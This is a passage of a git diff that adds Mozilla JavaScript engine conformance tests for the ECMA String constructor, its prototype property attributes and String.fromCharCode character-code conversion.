+new TestCase( SECTION, "(new String(null)).valueOf()", "null", (new String(null)).valueOf() );
+new TestCase( SECTION, "(new String(null)).valueOf", String.prototype.valueOf, (new String(null)).valueOf );
+
+new TestCase( SECTION, "typeof new String(true)", "object", typeof new String(true) );
+new TestCase( SECTION, "var TESTSTRING = new String(true); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()", "[object String]", eval("var TESTSTRING = new String(true); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()") );
+new TestCase( SECTION, "(new String(true)).valueOf()", "true", (new String(true)).valueOf() );
+new TestCase( SECTION, "(new String(true)).charAt", String.prototype.charAt, (new String(true)).charAt );
+
+new TestCase( SECTION, "typeof new String(false)", "object", typeof new String(false) );
+new TestCase( SECTION, "var TESTSTRING = new String(false); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()", "[object String]", eval("var TESTSTRING = new String(false); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()") );
+new TestCase( SECTION, "(new String(false)).valueOf()", "false", (new String(false)).valueOf() );
+new TestCase( SECTION, "(new String(false)).charCodeAt", String.prototype.charCodeAt, (new String(false)).charCodeAt );
+
+new TestCase( SECTION, "typeof new String(new Boolean(true))", "object", typeof new String(new Boolean(true)) );
+new TestCase( SECTION, "var TESTSTRING = new String(new Boolean(true)); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()", "[object String]", eval("var TESTSTRING = new String(new Boolean(true)); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()") );
+new TestCase( SECTION, "(new String(new Boolean(true))).valueOf()", "true", (new String(new Boolean(true))).valueOf() );
+new TestCase( SECTION, "(new String(new Boolean(true))).indexOf", String.prototype.indexOf, (new String(new Boolean(true))).indexOf );
+
+new TestCase( SECTION, "typeof new String()", "object", typeof new String() );
+new TestCase( SECTION, "var TESTSTRING = new String(); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()", "[object String]", eval("var TESTSTRING = new String(); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()") );
+new TestCase( SECTION, "(new String()).valueOf()", '', (new String()).valueOf() );
+new TestCase( SECTION, "(new String()).lastIndexOf", String.prototype.lastIndexOf, (new String()).lastIndexOf );
+
+new TestCase( SECTION, "typeof new String('')", "object", typeof new String('') );
+new TestCase( SECTION, "var TESTSTRING = new String(''); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()", "[object String]", eval("var TESTSTRING = new String(''); TESTSTRING.toString=Object.prototype.toString;TESTSTRING.toString()") );
+new TestCase( SECTION, "(new String('')).valueOf()", '', (new String('')).valueOf() );
+new TestCase( SECTION, "(new String('')).split", String.prototype.split, (new String('')).split );
+
+test();
diff --git a/js/src/tests/ecma/String/15.5.3.1-1.js b/js/src/tests/ecma/String/15.5.3.1-1.js
new file mode 100644
index 000000000..f95feb508
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.3.1-1.js
@@ -0,0 +1,37 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.3.1-1.js
+ ECMA Section: 15.5.3.1 Properties of the String Constructor
+
+ Description: The initial value of String.prototype is the built-in
+ String prototype object.
+
+ This property shall have the attributes [ DontEnum,
+ DontDelete, ReadOnly]
+
+ This tests the DontEnum attribute.
+
+ Author: christine@netscape.com
+ Date: 1 october 1997
+*/
+
+var SECTION = "15.5.3.1-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Properties of the String Constructor";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "String.prototype.length", 0, String.prototype.length );
+
+new TestCase( SECTION,
+ "var str='';for ( p in String ) { if ( p == 'prototype' ) str += p; } str",
+ "",
+ eval("var str='';for ( p in String ) { if ( p == 'prototype' ) str += p; } str") );
+
+test();
diff --git a/js/src/tests/ecma/String/15.5.3.1-2.js b/js/src/tests/ecma/String/15.5.3.1-2.js
new file mode 100644
index 000000000..d3b24e42a
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.3.1-2.js
@@ -0,0 +1,35 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.3.1-2.js
+ ECMA Section: 15.5.3.1 Properties of the String Constructor
+
+ Description: The initial value of String.prototype is the built-in
+ String prototype object.
+
+ This property shall have the attributes [ DontEnum,
+ DontDelete, ReadOnly]
+
+ This tests the ReadOnly attribute.
+
+ Author: christine@netscape.com
+ Date: 1 october 1997
+*/
+
+var SECTION = "15.5.3.1-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Properties of the String Constructor";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "String.prototype=null;String.prototype",
+ String.prototype,
+ eval("String.prototype=null;String.prototype") );
+
+test();
diff --git a/js/src/tests/ecma/String/15.5.3.1-3.js b/js/src/tests/ecma/String/15.5.3.1-3.js
new file mode 100644
index 000000000..69066091d
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.3.1-3.js
@@ -0,0 +1,32 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.3.1-3.js
+ ECMA Section: 15.5.3.1 Properties of the String Constructor
+
+ Description: The initial value of String.prototype is the built-in
+ String prototype object.
+
+ This property shall have the attributes [ DontEnum,
+ DontDelete, ReadOnly]
+
+ This tests the DontDelete attribute.
+
+ Author: christine@netscape.com
+ Date: 1 october 1997
+*/
+
+var SECTION = "15.5.3.1-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Properties of the String Constructor";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "delete( String.prototype )", false, eval("delete ( String.prototype )") );
+
+test();
diff --git a/js/src/tests/ecma/String/15.5.3.1-4.js b/js/src/tests/ecma/String/15.5.3.1-4.js
new file mode 100644
index 000000000..7605de7a3
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.3.1-4.js
@@ -0,0 +1,32 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.3.1-4.js
+ ECMA Section: 15.5.3.1 Properties of the String Constructor
+
+ Description: The initial value of String.prototype is the built-in
+ String prototype object.
+
+ This property shall have the attributes [ DontEnum,
+ DontDelete, ReadOnly]
+
+ This tests the DontDelete attribute.
+
+ Author: christine@netscape.com
+ Date: 1 october 1997
+*/
+
+var SECTION = "15.5.3.1-4";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Properties of the String Constructor";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION, "delete( String.prototype );String.prototype", String.prototype, eval("delete ( String.prototype );String.prototype") );
+
+test();
diff --git a/js/src/tests/ecma/String/15.5.3.2-1.js b/js/src/tests/ecma/String/15.5.3.2-1.js
new file mode 100644
index 000000000..c74010730
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.3.2-1.js
@@ -0,0 +1,176 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.3.2-1.js
+ ECMA Section: 15.5.3.2 String.fromCharCode( char0, char1, ... )
+ Description: Return a string value containing as many characters
+ as the number of arguments. Each argument specifies
+ one character of the resulting string, with the first
+ argument specifying the first character, and so on,
+ from left to right. An argument is converted to a
+ character by applying the operation ToUint16_t and
+ regarding the resulting 16bit integeras the Unicode
+ encoding of a character. If no arguments are supplied,
+ the result is the empty string.
+
+ This test covers Basic Latin (range U+0020 - U+007F)
+
+ Author: christine@netscape.com
+ Date: 2 october 1997
+*/
+
+var SECTION = "15.5.3.2-1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.fromCharCode()";
+
+new TestCase( SECTION, "typeof String.fromCharCode", "function", typeof String.fromCharCode );
+new TestCase( SECTION, "typeof String.prototype.fromCharCode", "undefined", typeof String.prototype.fromCharCode );
+new TestCase( SECTION, "var x = new String(); typeof x.fromCharCode", "undefined", eval("var x = new String(); typeof x.fromCharCode") );
+new TestCase( SECTION, "String.fromCharCode.length", 1, String.fromCharCode.length );
+
+new TestCase( SECTION, "String.fromCharCode()", "", String.fromCharCode() );
+new TestCase( SECTION, "String.fromCharCode(0x0020)", " ", String.fromCharCode(0x0020) );
+new TestCase( SECTION, "String.fromCharCode(0x0021)", "!", String.fromCharCode(0x0021) );
+new TestCase( SECTION, "String.fromCharCode(0x0022)", "\"", String.fromCharCode(0x0022) );
+new TestCase( SECTION, "String.fromCharCode(0x0023)", "#", String.fromCharCode(0x0023) );
+new TestCase( SECTION, "String.fromCharCode(0x0024)", "$", String.fromCharCode(0x0024) );
+new TestCase( SECTION, "String.fromCharCode(0x0025)", "%", String.fromCharCode(0x0025) );
+new TestCase( SECTION, "String.fromCharCode(0x0026)", "&", String.fromCharCode(0x0026) );
+new TestCase( SECTION, "String.fromCharCode(0x0027)", "\'", String.fromCharCode(0x0027) );
+new TestCase( SECTION, "String.fromCharCode(0x0028)", "(", String.fromCharCode(0x0028) );
+new TestCase( SECTION, "String.fromCharCode(0x0029)", ")", String.fromCharCode(0x0029) );
+new TestCase( SECTION, "String.fromCharCode(0x002A)", "*", String.fromCharCode(0x002A) );
+new TestCase( SECTION, "String.fromCharCode(0x002B)", "+", String.fromCharCode(0x002B) );
+new TestCase( SECTION, "String.fromCharCode(0x002C)", ",", String.fromCharCode(0x002C) );
+new TestCase( SECTION, "String.fromCharCode(0x002D)", "-", String.fromCharCode(0x002D) );
+new TestCase( SECTION, "String.fromCharCode(0x002E)", ".", String.fromCharCode(0x002E) );
+new TestCase( SECTION, "String.fromCharCode(0x002F)", "/", String.fromCharCode(0x002F) );
+
+new TestCase( SECTION, "String.fromCharCode(0x0030)", "0", String.fromCharCode(0x0030) );
+new TestCase( SECTION, "String.fromCharCode(0x0031)", "1", String.fromCharCode(0x0031) );
+new TestCase( SECTION, "String.fromCharCode(0x0032)", "2", String.fromCharCode(0x0032) );
+new TestCase( SECTION, "String.fromCharCode(0x0033)", "3", String.fromCharCode(0x0033) );
+new TestCase( SECTION, "String.fromCharCode(0x0034)", "4", String.fromCharCode(0x0034) );
+new TestCase( SECTION, "String.fromCharCode(0x0035)", "5", String.fromCharCode(0x0035) );
+new TestCase( SECTION, "String.fromCharCode(0x0036)", "6", String.fromCharCode(0x0036) );
+new TestCase( SECTION, "String.fromCharCode(0x0037)", "7", String.fromCharCode(0x0037) );
+new TestCase( SECTION, "String.fromCharCode(0x0038)", "8", String.fromCharCode(0x0038) );
+new TestCase( SECTION, "String.fromCharCode(0x0039)", "9", String.fromCharCode(0x0039) );
+new TestCase( SECTION, "String.fromCharCode(0x003A)", ":", String.fromCharCode(0x003A) );
+new TestCase( SECTION, "String.fromCharCode(0x003B)", ";", String.fromCharCode(0x003B) );
+new TestCase( SECTION, "String.fromCharCode(0x003C)", "<", String.fromCharCode(0x003C) );
+new TestCase( SECTION, "String.fromCharCode(0x003D)", "=", String.fromCharCode(0x003D) );
+new TestCase( SECTION, "String.fromCharCode(0x003E)", ">", String.fromCharCode(0x003E) );
+new TestCase( SECTION, "String.fromCharCode(0x003F)", "?", String.fromCharCode(0x003F) );
+
+new TestCase( SECTION, "String.fromCharCode(0x0040)", "@", String.fromCharCode(0x0040) );
+new TestCase( SECTION, "String.fromCharCode(0x0041)", "A", String.fromCharCode(0x0041) );
+new TestCase( SECTION, "String.fromCharCode(0x0042)", "B", String.fromCharCode(0x0042) );
+new TestCase( SECTION, "String.fromCharCode(0x0043)", "C", String.fromCharCode(0x0043) );
+new TestCase( SECTION, "String.fromCharCode(0x0044)", "D", String.fromCharCode(0x0044) );
+new TestCase( SECTION, "String.fromCharCode(0x0045)", "E", String.fromCharCode(0x0045) );
+new TestCase( SECTION, "String.fromCharCode(0x0046)", "F", String.fromCharCode(0x0046) );
+new TestCase( SECTION, "String.fromCharCode(0x0047)", "G", String.fromCharCode(0x0047) );
+new TestCase( SECTION, "String.fromCharCode(0x0048)", "H", String.fromCharCode(0x0048) );
+new TestCase( SECTION, "String.fromCharCode(0x0049)", "I", String.fromCharCode(0x0049) );
+new TestCase( SECTION, "String.fromCharCode(0x004A)", "J", String.fromCharCode(0x004A) );
+new TestCase( SECTION, "String.fromCharCode(0x004B)", "K", String.fromCharCode(0x004B) );
+new TestCase( SECTION, "String.fromCharCode(0x004C)", "L", String.fromCharCode(0x004C) );
+new TestCase( SECTION, "String.fromCharCode(0x004D)", "M", String.fromCharCode(0x004D) );
+new TestCase( SECTION, "String.fromCharCode(0x004E)", "N", String.fromCharCode(0x004E) );
+new TestCase( SECTION, "String.fromCharCode(0x004F)", "O", String.fromCharCode(0x004F) );
+
+new TestCase( SECTION, "String.fromCharCode(0x0040)", "@", String.fromCharCode(0x0040) );
+new TestCase( SECTION, "String.fromCharCode(0x0041)", "A", String.fromCharCode(0x0041) );
+new TestCase( SECTION, "String.fromCharCode(0x0042)", "B", String.fromCharCode(0x0042) );
+new TestCase( SECTION, "String.fromCharCode(0x0043)", "C", String.fromCharCode(0x0043) );
+new TestCase( SECTION, "String.fromCharCode(0x0044)", "D", String.fromCharCode(0x0044) );
+new TestCase( SECTION, "String.fromCharCode(0x0045)", "E", String.fromCharCode(0x0045) );
+new TestCase( SECTION, "String.fromCharCode(0x0046)", "F", String.fromCharCode(0x0046) );
+new TestCase( SECTION, "String.fromCharCode(0x0047)", "G", String.fromCharCode(0x0047) );
+new TestCase( SECTION, "String.fromCharCode(0x0048)", "H", String.fromCharCode(0x0048) );
+new TestCase( SECTION, "String.fromCharCode(0x0049)", "I", String.fromCharCode(0x0049) );
+new TestCase( SECTION, "String.fromCharCode(0x004A)", "J", String.fromCharCode(0x004A) );
+new TestCase( SECTION, "String.fromCharCode(0x004B)", "K", String.fromCharCode(0x004B) );
+new TestCase( SECTION, "String.fromCharCode(0x004C)", "L", String.fromCharCode(0x004C) );
+new TestCase( SECTION, "String.fromCharCode(0x004D)", "M", String.fromCharCode(0x004D) );
+new TestCase( SECTION, "String.fromCharCode(0x004E)", "N", String.fromCharCode(0x004E) );
+new TestCase( SECTION, "String.fromCharCode(0x004F)", "O", String.fromCharCode(0x004F) );
+
+new TestCase( SECTION, "String.fromCharCode(0x0050)", "P", String.fromCharCode(0x0050) );
+new TestCase( SECTION, "String.fromCharCode(0x0051)", "Q", String.fromCharCode(0x0051) );
+new TestCase( SECTION, "String.fromCharCode(0x0052)", "R", String.fromCharCode(0x0052) );
+new TestCase( SECTION, "String.fromCharCode(0x0053)", "S", String.fromCharCode(0x0053) );
+new TestCase( SECTION, "String.fromCharCode(0x0054)", "T", String.fromCharCode(0x0054) );
+new TestCase( SECTION, "String.fromCharCode(0x0055)", "U", String.fromCharCode(0x0055) );
+new TestCase( SECTION, "String.fromCharCode(0x0056)", "V", String.fromCharCode(0x0056) );
+new TestCase( SECTION, "String.fromCharCode(0x0057)", "W", String.fromCharCode(0x0057) );
+new TestCase( SECTION, "String.fromCharCode(0x0058)", "X", String.fromCharCode(0x0058) );
+new TestCase( SECTION, "String.fromCharCode(0x0059)", "Y", String.fromCharCode(0x0059) );
+new TestCase( SECTION, "String.fromCharCode(0x005A)", "Z", String.fromCharCode(0x005A) );
+new TestCase( SECTION, "String.fromCharCode(0x005B)", "[", String.fromCharCode(0x005B) );
+new TestCase( SECTION, "String.fromCharCode(0x005C)", "\\", String.fromCharCode(0x005C) );
+new TestCase( SECTION, "String.fromCharCode(0x005D)", "]", String.fromCharCode(0x005D) );
+new TestCase( SECTION, "String.fromCharCode(0x005E)", "^", String.fromCharCode(0x005E) );
+new TestCase( SECTION, "String.fromCharCode(0x005F)", "_", String.fromCharCode(0x005F) );
+
+new TestCase( SECTION, "String.fromCharCode(0x0060)", "`", String.fromCharCode(0x0060) );
+new TestCase( SECTION, "String.fromCharCode(0x0061)", "a", String.fromCharCode(0x0061) );
+new TestCase( SECTION, "String.fromCharCode(0x0062)", "b", String.fromCharCode(0x0062) );
+new TestCase( SECTION, "String.fromCharCode(0x0063)", "c", String.fromCharCode(0x0063) );
+new TestCase( SECTION, "String.fromCharCode(0x0064)", "d", String.fromCharCode(0x0064) );
+new TestCase( SECTION, "String.fromCharCode(0x0065)", "e", String.fromCharCode(0x0065) );
+new TestCase( SECTION, "String.fromCharCode(0x0066)", "f", String.fromCharCode(0x0066) );
+new TestCase( SECTION, "String.fromCharCode(0x0067)", "g", String.fromCharCode(0x0067) );
+new TestCase( SECTION, "String.fromCharCode(0x0068)", "h", String.fromCharCode(0x0068) );
+new TestCase( SECTION, "String.fromCharCode(0x0069)", "i", String.fromCharCode(0x0069) );
+new TestCase( SECTION, "String.fromCharCode(0x006A)", "j", String.fromCharCode(0x006A) );
+new TestCase( SECTION, "String.fromCharCode(0x006B)", "k", String.fromCharCode(0x006B) );
+new TestCase( SECTION, "String.fromCharCode(0x006C)", "l", String.fromCharCode(0x006C) );
+new TestCase( SECTION, "String.fromCharCode(0x006D)", "m", String.fromCharCode(0x006D) );
+new TestCase( SECTION, "String.fromCharCode(0x006E)", "n", String.fromCharCode(0x006E) );
+new TestCase( SECTION, "String.fromCharCode(0x006F)", "o", String.fromCharCode(0x006F) );
+
+new TestCase( SECTION, "String.fromCharCode(0x0070)", "p", String.fromCharCode(0x0070) );
+new TestCase( SECTION, "String.fromCharCode(0x0071)", "q", String.fromCharCode(0x0071) );
+new TestCase( SECTION, "String.fromCharCode(0x0072)", "r", String.fromCharCode(0x0072) );
+new TestCase( SECTION, "String.fromCharCode(0x0073)", "s", String.fromCharCode(0x0073) );
+new TestCase( SECTION, "String.fromCharCode(0x0074)", "t", String.fromCharCode(0x0074) );
+new TestCase( SECTION, "String.fromCharCode(0x0075)", "u", String.fromCharCode(0x0075) );
+new TestCase( SECTION, "String.fromCharCode(0x0076)", "v", String.fromCharCode(0x0076) );
+new TestCase( SECTION, "String.fromCharCode(0x0077)", "w", String.fromCharCode(0x0077) );
+new TestCase( SECTION, "String.fromCharCode(0x0078)", "x", String.fromCharCode(0x0078) );
+new TestCase( SECTION, "String.fromCharCode(0x0079)", "y", String.fromCharCode(0x0079) );
+new TestCase( SECTION, "String.fromCharCode(0x007A)", "z", String.fromCharCode(0x007A) );
+new TestCase( SECTION, "String.fromCharCode(0x007B)", "{", String.fromCharCode(0x007B) );
+new TestCase( SECTION, "String.fromCharCode(0x007C)", "|", String.fromCharCode(0x007C) );
+new TestCase( SECTION, "String.fromCharCode(0x007D)", "}", String.fromCharCode(0x007D) );
+new TestCase( SECTION, "String.fromCharCode(0x007E)", "~", String.fromCharCode(0x007E) );
+// new TestCase( SECTION, "String.fromCharCode(0x0020, 0x007F)", "", String.fromCharCode(0x0040, 0x007F) );
+
+new TestCase( SECTION, "String.fromCharCode(<2 args>)", "ab", String.fromCharCode(97,98));
+new TestCase( SECTION, "String.fromCharCode(<3 args>)", "abc", String.fromCharCode(97,98,99));
+new TestCase( SECTION, "String.fromCharCode(<4 args>)", "abcd", String.fromCharCode(97,98,99,100));
+new TestCase( SECTION, "String.fromCharCode(<5 args>)", "abcde", String.fromCharCode(97,98,99,100,101));
+new TestCase( SECTION, "String.fromCharCode(<6 args>)", "abcdef", String.fromCharCode(97,98,99,100,101,102));
+new TestCase( SECTION, "String.fromCharCode(<7 args>)", "abcdefg", String.fromCharCode(97,98,99,100,101,102,103));
+new TestCase( SECTION, "String.fromCharCode(<8 args>)", "abcdefgh", String.fromCharCode(97,98,99,100,101,102,103,104));
+new TestCase( SECTION, "String.fromCharCode(<9 args>)", "abcdefghi", String.fromCharCode(97,98,99,100,101,102,103,104,105));
+new TestCase( SECTION, "String.fromCharCode(<10 args>)", "abcdefghij", String.fromCharCode(97,98,99,100,101,102,103,104,105,106));
+new TestCase( SECTION, "String.fromCharCode(<11 args>)", "abcdefghijk", String.fromCharCode(97,98,99,100,101,102,103,104,105,106,107));
+new TestCase( SECTION, "String.fromCharCode(<12 args>)", "abcdefghijkl", String.fromCharCode(97,98,99,100,101,102,103,104,105,106,107,108));
+new TestCase( SECTION, "String.fromCharCode(<13 args>)", "abcdefghijklm", String.fromCharCode(97,98,99,100,101,102,103,104,105,106,107,108,109));
+new TestCase( SECTION, "String.fromCharCode(<14 args>)", "abcdefghijklmn", String.fromCharCode(97,98,99,100,101,102,103,104,105,106,107,108,109,110));
+new TestCase( SECTION, "String.fromCharCode(<15 args>)", "abcdefghijklmno", String.fromCharCode(97,98,99,100,101,102,103,104,105,106,107,108,109,110,111));
+new TestCase( SECTION, "String.fromCharCode(<16 args>)", "abcdefghijklmnop", String.fromCharCode(97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112));
+new TestCase( SECTION, "String.fromCharCode(<17 args>)", "abcdefghijklmnopq", String.fromCharCode(97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113));
+new TestCase( SECTION, "String.fromCharCode(<18 args>)", "abcdefghijklmnopqr", String.fromCharCode(97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114));
+new TestCase( SECTION, "String.fromCharCode(<19 args>)", "abcdefghijklmnopqrs", String.fromCharCode(97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115));
+new TestCase( SECTION, "String.fromCharCode(<20 args>)", "abcdefghijklmnopqrst", String.fromCharCode(97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116));
+
+test();
diff --git a/js/src/tests/ecma/String/15.5.3.2-2.js b/js/src/tests/ecma/String/15.5.3.2-2.js
new file mode 100644
index 000000000..624a418e2
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.3.2-2.js
@@ -0,0 +1,43 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.3.2-2.js
+ ECMA Section: 15.5.3.2 String.fromCharCode( char0, char1, ... )
+ Description: Return a string value containing as many characters
+ as the number of arguments. Each argument specifies
+ one character of the resulting string, with the first
+ argument specifying the first character, and so on,
+ from left to right. An argument is converted to a
+ character by applying the operation ToUint16_t and
+ regarding the resulting 16bit integeras the Unicode
+ encoding of a character. If no arguments are supplied,
+ the result is the empty string.
+
+ This tests String.fromCharCode with multiple arguments.
+
+ Author: christine@netscape.com
+ Date: 2 october 1997
+*/
+
+var SECTION = "15.5.3.2-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.fromCharCode()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase( SECTION,
+ "var MYSTRING = String.fromCharCode(eval(\"var args=''; for ( i = 0x0020; i < 0x007f; i++ ) { args += ( i == 0x007e ) ? i : i + ', '; } args;\")); MYSTRING",
+ " !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~",
+ eval( "var MYSTRING = String.fromCharCode(" + eval("var args=''; for ( i = 0x0020; i < 0x007f; i++ ) { args += ( i == 0x007e ) ? i : i + ', '; } args;") +"); MYSTRING" ));
+
+new TestCase( SECTION,
+ "MYSTRING.length",
+ 0x007f - 0x0020,
+ MYSTRING.length );
+
+test();
diff --git a/js/src/tests/ecma/String/15.5.3.2-3.js b/js/src/tests/ecma/String/15.5.3.2-3.js
new file mode 100644
index 000000000..8a7312362
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.3.2-3.js
@@ -0,0 +1,87 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.3.2-1.js
+ ECMA Section: 15.5.3.2 String.fromCharCode( char0, char1, ... )
+ Description: Return a string value containing as many characters
+ as the number of arguments. Each argument specifies
+ one character of the resulting string, with the first
+ argument specifying the first character, and so on,
+ from left to right. An argument is converted to a
+ character by applying the operation ToUint16_t and
+ regarding the resulting 16bit integeras the Unicode
+ encoding of a character. If no arguments are supplied,
+ the result is the empty string.
+
+ This test covers Basic Latin (range U+0020 - U+007F)
+
+ Author: christine@netscape.com
+ Date: 2 october 1997
+*/
+
+var SECTION = "15.5.3.2-3";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.fromCharCode()";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+for ( CHARCODE = 0; CHARCODE < 256; CHARCODE++ ) {
+ new TestCase( SECTION,
+ "(String.fromCharCode(" + CHARCODE +")).charCodeAt(0)",
+ ToUint16(CHARCODE),
+ (String.fromCharCode(CHARCODE)).charCodeAt(0)
+ );
+}
+for ( CHARCODE = 256; CHARCODE < 65536; CHARCODE+=333 ) {
+ new TestCase( SECTION,
+ "(String.fromCharCode(" + CHARCODE +")).charCodeAt(0)",
+ ToUint16(CHARCODE),
+ (String.fromCharCode(CHARCODE)).charCodeAt(0)
+ );
+}
+for ( CHARCODE = 65535; CHARCODE < 65538; CHARCODE++ ) {
+ new TestCase( SECTION,
+ "(String.fromCharCode(" + CHARCODE +")).charCodeAt(0)",
+ ToUint16(CHARCODE),
+ (String.fromCharCode(CHARCODE)).charCodeAt(0)
+ );
+}
+for ( CHARCODE = Math.pow(2,32)-1; CHARCODE < Math.pow(2,32)+1; CHARCODE++ ) {
+ new TestCase( SECTION,
+ "(String.fromCharCode(" + CHARCODE +")).charCodeAt(0)",
+ ToUint16(CHARCODE),
+ (String.fromCharCode(CHARCODE)).charCodeAt(0)
+ );
+}
+for ( CHARCODE = 0; CHARCODE > -65536; CHARCODE-=3333 ) {
+ new TestCase( SECTION,
+ "(String.fromCharCode(" + CHARCODE +")).charCodeAt(0)",
+ ToUint16(CHARCODE),
+ (String.fromCharCode(CHARCODE)).charCodeAt(0)
+ );
+}
+new TestCase( SECTION, "(String.fromCharCode(65535)).charCodeAt(0)", 65535, (String.fromCharCode(65535)).charCodeAt(0) );
+new TestCase( SECTION, "(String.fromCharCode(65536)).charCodeAt(0)", 0, (String.fromCharCode(65536)).charCodeAt(0) );
+new TestCase( SECTION, "(String.fromCharCode(65537)).charCodeAt(0)", 1, (String.fromCharCode(65537)).charCodeAt(0) );
+
+test();
+
+function ToUint16( num ) {
+ num = Number( num );
+ if ( isNaN( num ) || num == 0 || num == Number.POSITIVE_INFINITY || num == Number.NEGATIVE_INFINITY ) {
+ return 0;
+ }
+
+ var sign = ( num < 0 ) ? -1 : 1;
+
+ num = sign * Math.floor( Math.abs( num ) );
+ num = num % Math.pow(2,16);
+ num = ( num > -65536 && num < 0) ? 65536 + num : num;
+ return num;
+}
+
diff --git a/js/src/tests/ecma/String/15.5.3.js b/js/src/tests/ecma/String/15.5.3.js
new file mode 100644
index 000000000..097f15b85
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.3.js
@@ -0,0 +1,32 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.3.1.js
+ ECMA Section: 15.5.3 Properties of the String Constructor
+
+ Description: The value of the internal [[Prototype]] property of
+ the String constructor is the Function prototype
+ object.
+
+ In addition to the internal [[Call]] and [[Construct]]
+ properties, the String constructor also has the length
+ property, as well as properties described in 15.5.3.1
+ and 15.5.3.2.
+
+ Author: christine@netscape.com
+ Date: 1 october 1997
+*/
+
+var SECTION = "15.5.3";
+var VERSION = "ECMA_2";
+startTest();
+var passed = true;
+writeHeaderToLog( SECTION + " Properties of the String Constructor" );
+
+new TestCase( SECTION, "String.length", 1, String.length );
+
+test();
diff --git a/js/src/tests/ecma/String/15.5.4.1.js b/js/src/tests/ecma/String/15.5.4.1.js
new file mode 100644
index 000000000..4bc73fa8f
--- /dev/null
+++ b/js/src/tests/ecma/String/15.5.4.1.js
@@ -0,0 +1,29 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.5.4.1.js
+ ECMA Section: 15.5.4.1 String.prototype.constructor
+
+ Description:
+ Author: christine@netscape.com
+ Date: 28 october 1997
+
+*/
+var SECTION = "15.5.4.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "String.prototype.constructor";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
